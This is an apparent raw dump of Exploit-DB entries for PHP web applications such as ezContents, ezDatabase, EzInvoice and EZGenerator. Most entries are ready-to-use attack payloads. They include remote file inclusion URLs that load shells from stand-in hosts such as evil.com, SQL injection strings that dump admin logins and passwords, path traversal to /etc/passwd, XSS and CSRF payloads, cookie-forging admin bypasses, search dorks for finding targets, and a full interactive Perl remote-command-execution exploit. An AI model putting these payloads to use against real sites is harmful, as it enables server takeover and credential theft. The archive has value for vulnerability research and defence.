deardaniel/secdata-raw huggingface dataset:
Exploit-DB #32116
Description: EZContents - 'minicalendar.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-07-25
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/30373/info

ezContents CMS is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker can exploit this issue to execute malicious PHP code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/modules/calendar/minicalendar.php?GLOBALS[rootdp]=./&GLOBALS[gsLanguage]=http://www.example2.com/soqor10/c99.txt?
Exploit-DB #4694
Description: EZContents 1.4.5 - 'index.php?link' Remote File Disclosure
Type: webapps
Platform: php
Date: 2007-12-05
Author: p4imi0

Exploit:
--------------------------------------------------------------
ezContents Version 1.4.5 Remote File Disclosure Vulnerability.
--------------------------------------------------------------

download    : http://www.visualshapers.com/
author      : p4imi0
contact     : p4imi0@gmail.com
exploit     : /ezcontents1_4x/index.php?link=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
google dork : inurl:"index.php?link=" Powered by ezContents Version 1.4.5
thanks to   : str0ke, Cr[]w.

# milw0rm.com [2007-12-05]
Exploit-DB #28455
Description: EZContents 2.0 - 'gallery_summary.php?GLOBALS[admin_home]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-30
Author: DarkFig

Exploit:
source: https://www.securityfocus.com/bid/19776/info
  
ezContents is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
  
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may help the attacker compromise the application and the underlying system; other attacks are also possible.
  
http://www.example.com/modules/gallery/gallery_summary.php?GLOBALS[rootdp]=&GLOBALS[admin_home]=ftps://evil.com/sh.php&cmd=ls
Exploit-DB #28454
Description: EZContents 2.0.3 - 'calendar.php?GLOBALS[language_home]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-30
Author: DarkFig

Exploit:
source: https://www.securityfocus.com/bid/19776/info
 
ezContents is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
 
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may help the attacker compromise the application and the underlying system; other attacks are also possible.
 
http://www.example.com/modules/calendar/calendar.php?GLOBALS[rootdp]=&GLOBALS[language_home]=ftps://evil.com/sh.php&cmd=ls
Exploit-DB #28453
Description: EZContents 2.0.3 - 'event_list.php?GLOBALS[admin_home]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-30
Author: DarkFig

Exploit:
source: https://www.securityfocus.com/bid/19776/info

ezContents is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may help the attacker compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/modules/diary/event_list.php?GLOBALS[rootdp]=&GLOBALS[admin_home]=ftps://evil.com/sh.php&cmd=ls
Exploit-DB #28460
Description: EZContents 2.0.3 - 'review_summary.php?GLOBALS[admin_home]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-30
Author: DarkFig

Exploit:
source: https://www.securityfocus.com/bid/19776/info
       
ezContents is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
       
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may help the attacker compromise the application and the underlying system; other attacks are also possible.
       
http://www.example.com/modules/reviews/review_summary.php?GLOBALS[rootdp]=&GLOBALS[admin_home]=ftps://evil.com/sh.php&cmd=ls
Exploit-DB #28461
Description: EZContents 2.0.3 - 'search.php?GLOBALS[language_home]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-30
Author: DarkFig

Exploit:
source: https://www.securityfocus.com/bid/19776/info
        
ezContents is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
        
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may help the attacker compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/modules/search/search.php?GLOBALS[rootdp]=&GLOBALS[language_home]=ftps://evil.com/sh.php&cmd=ls
Exploit-DB #28456
Description: EZContents 2.0.3 - 'showguestbook.php?GLOBALS[admin_home]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-30
Author: DarkFig

Exploit:
source: https://www.securityfocus.com/bid/19776/info
   
ezContents is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
   
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may help the attacker compromise the application and the underlying system; other attacks are also possible.
   
http://www.example.com/modules/guestbook/showguestbook.php?GLOBALS[rootdp]=&GLOBALS[admin_home]=ftps://evil.com/sh.php&cmd=ls
Exploit-DB #28457
Description: EZContents 2.0.3 - 'showlinks.php?GLOBALS[admin_home]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-30
Author: DarkFig

Exploit:
source: https://www.securityfocus.com/bid/19776/info
    
ezContents is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
    
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may help the attacker compromise the application and the underlying system; other attacks are also possible.
    
http://www.example.com/modules/links/showlinks.php?GLOBALS[rootdp]=&GLOBALS[admin_home]=ftps://evil.com/sh.php&cmd=ls
Exploit-DB #28458
Description: EZContents 2.0.3 - 'shownews.php?GLOBALS[admin_home]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-30
Author: DarkFig

Exploit:
source: https://www.securityfocus.com/bid/19776/info
     
ezContents is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
     
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may help the attacker compromise the application and the underlying system; other attacks are also possible.
     
http://www.example.com/modules/news/shownews.php?GLOBALS[rootdp]=&GLOBALS[language_home]=ftps://evil.com/sh.php&cmd=ls
Exploit-DB #28459
Description: EZContents 2.0.3 - 'showpoll.php?GLOBALS[admin_home]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-30
Author: DarkFig

Exploit:
source: https://www.securityfocus.com/bid/19776/info
      
ezContents is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
      
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may help the attacker compromise the application and the underlying system; other attacks are also possible.
      
http://www.example.com/modules/poll/showpoll.php?GLOBALS[rootdp]=&GLOBALS[language_home]=ftps://evil.com/sh.php&cmd=ls
Exploit-DB #28462
Description: EZContents 2.0.3 - 'toprated.php?GLOBALS[language_home]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-30
Author: DarkFig

Exploit:
source: https://www.securityfocus.com/bid/19776/info
         
ezContents is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
         
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may help the attacker compromise the application and the underlying system; other attacks are also possible.
 
http://www.example.com/modules/toprated/toprated.php?GLOBALS[rootdp]=&GLOBALS[language_home]=ftps://evil.com/sh.php&cmd=ls
Exploit-DB #5559
Description: EZContents CMS 2.0.0 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-05-07
Author: Virangar Security

Exploit:
  #######################################################################################
  #                                                                                     #
  # ...:::::ezContents CMS Version 2.0.0  SQL Injection Vulnerabilities ::::...         #           
  #######################################################################################

Virangar Security Team

www.virangar.net

--------
Discoverd By :virangar security team(hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal) from emperor team :)
-----
d0rk:"ezContents CMS Version 2.0.0"
-------vuln codes in:-----------
showdetails.php:
$strQuery = "SELECT * FROM ".$GLOBALS["eztbContents"]." WHERE contentname ='".$HTTP_GET_VARS["contentname"]."' AND language='".$GLOBALS["gsLanguage"]."'";
*********
printer.php:
$strQuery = "SELECT * FROM ".$GLOBALS["eztbContents"]." WHERE contentname ='".$HTTP_GET_VARS["article"]."' AND language='".$GLOBALS["gsLanguage"]."'";
---
exploits:
http://site.com/[patch]/showdetails.php?contentname='/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,concat(login,0x3a,userpassword,char(58,58),authoremail),30/**/from/**/authors/**/where/**/authorid=1/*
http://site.com/[patch]/printer.php?article='/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,concat(login,0x3a,userpassword,char(58,58),authoremail),30/**/from/**/authors/**/where/**/authorid=1/*
---
young iranian h4ck3rz
/* tnx 2:
st0rke,aria-security.net,r00tsecurity.org,all h4ck3rz */

# milw0rm.com [2008-05-07]
Exploit-DB #36197
Description: ezCourses - 'admin.asp' Security Bypass
Type: webapps
Platform: php
Date: 2011-10-01
Author: J.O

Exploit:
source: https://www.securityfocus.com/bid/49907/info

ezCourses is prone to a security-bypass vulnerability because it fails to properly validate user-supplied input.

Attackers could exploit the issue to bypass certain security restrictions and add or change the 'admin' account password. 

http://www.example.com//ezCourses/admin/admin.asp?cmd=edit_admin&AdminID=1&Master=Master
http://www.example.com/ezCourses/admin/admin.asp?cmd=add_admin&AdminID=1
Exploit-DB #1442
Description: EZDatabase 2.0 - 'db_id' Remote Command Execution
Type: webapps
Platform: php
Date: 2006-01-22
Author: cijfer

Exploit:
#!/usr/bin/perl
#
# ezDatabase Remote Command Execution Exploit
# based on advisory by Pridels Team
#
# Copyright (c) 2006 cijfer <cijfer@netti!fi>
# All rights reserved.
#
# never ctrl+c again.
# cijfer$ http://target.com/dir
# host changed to 'http://target.com/dir'
# cijfer$ 
#
# $Id: cijfer-ezdbxpl.pl,v 0.1 2006/01/21 019:22:00 cijfer Exp $

use LWP::UserAgent;
use URI::Escape;
use Getopt::Long;
use Term::ANSIColor;

$res  = GetOptions("host=s" => \$host, "proxy=s" => \$proxy, "verbose+" => \$verbose);
&usage unless $host;

while()
{
	print color("green"), "cijfer\$ ", color("reset");
	chomp($command = <STDIN>);
	exit unless $command;
	if($command =~ m/^http\:\/\/(.*)/g)
	{
		$host="http://".$1;
		print "host changed to '";
		print color("bold"), $host."'\n", color("reset");
	}
	&exploit($command,$host);
}

sub usage
{
	print "ezDatabase Remote Command Execution Exploit\n";
	print "Usage: $0 -hp [OPTION]...\n\n";
	print "  -h --host\tfull address of target (ex. http://www.website.com/directory)\n";
	print "  -p --proxy\tprovide an HTTP proxy (ex. 0.0.0.0:8080)\n";
	print "  -v --verbose\tverbose mode\n\n";
	exit;
}

sub exploit
{
	my($command,$host) = @_;

	$cij=LWP::UserAgent->new() or die;
	$cij->agent("Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:2.0) Gecko/20060101");
	$cij->proxy("http", "http://".$tunnel."/") unless !$proxy;

	$string  = "%65%63%68%6F%20%5F%63%69%6A%66%65%72%5F%3B";
	$string .= uri_escape(shift);
	$string .= "%3B%20%65%63%68%6F%20%5F%63%69%6A%66%65%72%5F";
	$execut  = "%3C%3F%24%68%61%6E%64%6C%65%3D%70%6F%70%65%6E";
	$execut .= "%5C%28%24%5F%47%45%54%5B%63%69%6A%5D%2C%22%72";
	$execut .= "%22%29%3B%77%68%69%6C%65%28%21%66%65%6F%66%28";
	$execut .= "%24%68%61%6E%64%6C%65%29%29%7B%24%6C%69%6E%65";
	$execut .= "%3D%66%67%65%74%73%28%24%68%61%6E%64%6C%65%29";
	$execut .= "%3B%69%66%28%73%74%72%6C%65%6E%28%24%6C%69%6E";
	$execut .= "%65%29%3E%3D%31%29%7B%65%63%68%6F%22%24%6C%69";
	$execut .= "%6E%65%22%3B%7D%7D%70%63%6C%6F%73%65%28%24%68";
	$execut .= "%61%6E%64%6C%65%29%3B%3F%3E";

	$out=$cij->get($host."/visitorupload.php?db_id=%3b%73%79%73%74%65%6d%28%24%5f%47%45%54%5b%63%6d%64%5d%29&cmd=".$string);

	if($out->is_success)
	{
		@cij=split("_cijfer_",$out->content);
		print substr(@cij[1],1);
	}
	if($verbose)
	{
		$recv=length $out->content;
		print "Total received bytes: ".$recv."\n";
		$sent=length $command;
		print "Total sent bytes: ".$sent."\n";
	}
}

# milw0rm.com [2006-01-22]
Exploit-DB #27093
Description: EZDatabase 2.1.1 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-01-16
Author: Josh Zlatin-Amishav

Exploit:
source: https://www.securityfocus.com/bid/16257/info

EZDatabase is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Versions less than 2.1.2 are reported to be affected; other versions may also be vulnerable. 

http://www.example.com/index.php?db_id=1&cat_id=1&display=30&p=%3Cscript%3Ealert(document.cookie)%3C/script%3E&rowstart=90
Exploit-DB #26854
Description: EZDatabase 2.1.2 - 'index.php?db_id' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-16
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15908/info
 
ezDatabase is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
ezDatabase is prone to an SQL injection vulnerability and a local file include vulnerability. Successful exploitation of these issues may result in the disclosure of sensitive information, a compromise of the database or the execution of arbitrary local server-side script code. This may facilitate a compromise of the underlying system; other attacks are also possible.
 
This issue affects version 2.1.2; other versions may also be affected.

http://www.example.com/index.php?p=getcat&db_id=[SQL]
Exploit-DB #26853
Description: EZDatabase 2.1.2 - 'index.php?p' Local File Inclusion
Type: webapps
Platform: php
Date: 2005-12-16
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15908/info

ezDatabase is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

ezDatabase is prone to an SQL injection vulnerability and a local file include vulnerability. Successful exploitation of these issues may result in the disclosure of sensitive information, a compromise of the database or the execution of arbitrary local server-side script code. This may facilitate a compromise of the underlying system; other attacks are also possible.

This issue affects version 2.1.2; other versions may also be affected.

http://www.example.com/index.php?p=../Local file
Exploit-DB #27080
Description: EZDatabaseRemote 2.0 - PHP Script Code Execution
Type: webapps
Platform: php
Date: 2006-01-14
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/16237/info

ezDatabase is prone to a remote PHP script code execution vulnerability.

An attacker can exploit this issue to execute arbitrary malicious PHP code and execute it in the context of the Web server process. These may facilitate a compromise of the application and the underlying system; other attacks are also possible.

ezDatabase version 2.0 is vulnerable to these issues; other versions may also be affected. 

http://www.example.com/visitorupload.php?db_id=;phpinfo()
http://www.example.com/visitorupload.php?db_id=;include(_GET[test])&test=http://www.example2.com/script.php
Exploit-DB #39014
Description: EZGenerator - Local File Disclosure / Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2014-01-08
Author: AtT4CKxT3rR0r1ST

Exploit:
source: https://www.securityfocus.com/bid/64740/info

EZGenerator is prone to a local file-disclosure vulnerability and a cross-site request-forgery vulnerability.

An attacker may leverage these issues to perform unauthorized actions in the context of a logged-in user, or obtain sensitive information from local files on computers running the vulnerable application. This may aid in further attacks. 

Local File Disclosure:
=====================
www.example.com/utils.php?action=download&filename=file.php%00

CSRF [Add Admin]:
================

<form method=.POST. name=.form0. action=.
http://www.example.com/centraladmin.php?process=processuser.>
<input type=.hidden. name=.flag. value=.add./>
<input type=.hidden. name=.old_username. value=."/>
<input type=.hidden. name=.username. value=.admin./>
<input type=.hidden. name=.name. value=.mm./>
<input type=.hidden. name=.sirname. value=.hh./>
<input type=.hidden. name=.email. value=.email@live.com./>
<input type=.hidden. name=.password. value=.12121212./>
<input type=.hidden. name=.repeatedpassword. value=.12121212./>
<input type=.hidden. name=.select_all. value=.yes./>
<input type=.hidden. name=.access_to_page47. value=.2./>
<input type=.hidden. name=.save. value=.Save./>
</form>
</body>
</html>
Exploit-DB #42632
Description: EzInvoice 6.02 - SQL Injection
Type: webapps
Platform: php
Date: 2017-09-07
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: EzInvoice - Invoice Management System 6.0.2 - SQL Injection
# Dork: N/A
# Date: 07.09.2017
# Vendor Homepage: http://www.mysticdreams.net/
# Software Link: http://www.mysticdreams.net/resources/ezinvoice_demo.zip
# Demo: http://www.mysticdreams.net/products/ezinvoice/
# Version: 6.0.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 	
# Proof of Concept:
# 
# Sql
# http://localhost/[PATH]/editclient.php?id=[SQL]
# -100+/*!11122UniOn*/+/*!11122SeleCt*/+0x283129,/*!11122CONCAT_WS*/(0x203a20,/*!11122USER*/(),/*!11122DATABASE*/(),VERSION()),0x283329,/*!11122CONCAT_WS*/(0x203a20,/*!11122USER*/(),/*!11122DATABASE*/(),VERSION()),/*!11122CONCAT_WS*/(0x203a20,/*!11122USER*/(),/*!11122DATABASE*/(),VERSION()),/*!11122CONCAT_WS*/(0x203a20,/*!11122USER*/(),/*!11122DATABASE*/(),VERSION())--+-
# 
# Bypass
# http://localhost/[PATH]/index.php
# User: 'or 1=1 or ''=' Pass: anything
# 
# Backup
# http://localhost/[PATH]/backups/index.php?client_name=admin
# 
# Etc...
# # # # #
Exploit-DB #33651
Description: EziScript Google Page Rank 1.1 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-02-16
Author: sarabande

Exploit:
source: https://www.securityfocus.com/bid/38266/info

EziScript Google Page Rank is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

EziScript Google Page Rank 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/pagerank.php?url="><script>alert(document.cookie)</script>
Exploit-DB #34737
Description: EZodiak - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-07-20
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43485/info

EZodiak is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/ezarticles/ezodiak/index.php?sign=1>"><ScRiPt %0A%0D>alert[PII_REDACTED]51)%3B</ScRiPt>&date=20090717
Exploit-DB #33934
Description: eZoneScripts (Multiple Scripts) - Insecure Cookie Authentication Bypass
Type: webapps
Platform: php
Date: 2009-02-09
Author: JIKO

Exploit:
source: https://www.securityfocus.com/bid/39912/info

eZoneScripts Banner Exchange Website, Adult Banner Exchange Website, Apartment Search Script, phpMiniSite Script, and Classified Ultra Script are prone to an authentication-bypass vulnerability because they fail to adequately verify user-supplied input used for cookie-based authentication.

Attackers can exploit this vulnerability to gain administrative access to the affected application, which may aid in further attacks. 

The following example cookie data is available:

Banner Exchange Website and Adult Banner Exchange Website:

javascript:document.cookie="bannerexchangename=admin; path=/";
javascript:document.cookie="bannerexchangerand=905; path=/";


Classified Ultra Script:

javascript:document.cookie="AdminPass=1; path=/productdemos/ClassifiedUltra/Site_Admin/";


Apartment Search Script:

javascript:document.cookie="SiteAdminPass=1; path=/productdemos/ApartmentSearch/Site_Admin/";


phpMiniSite Script:

javascript:document.cookie="auth=fook; path=/";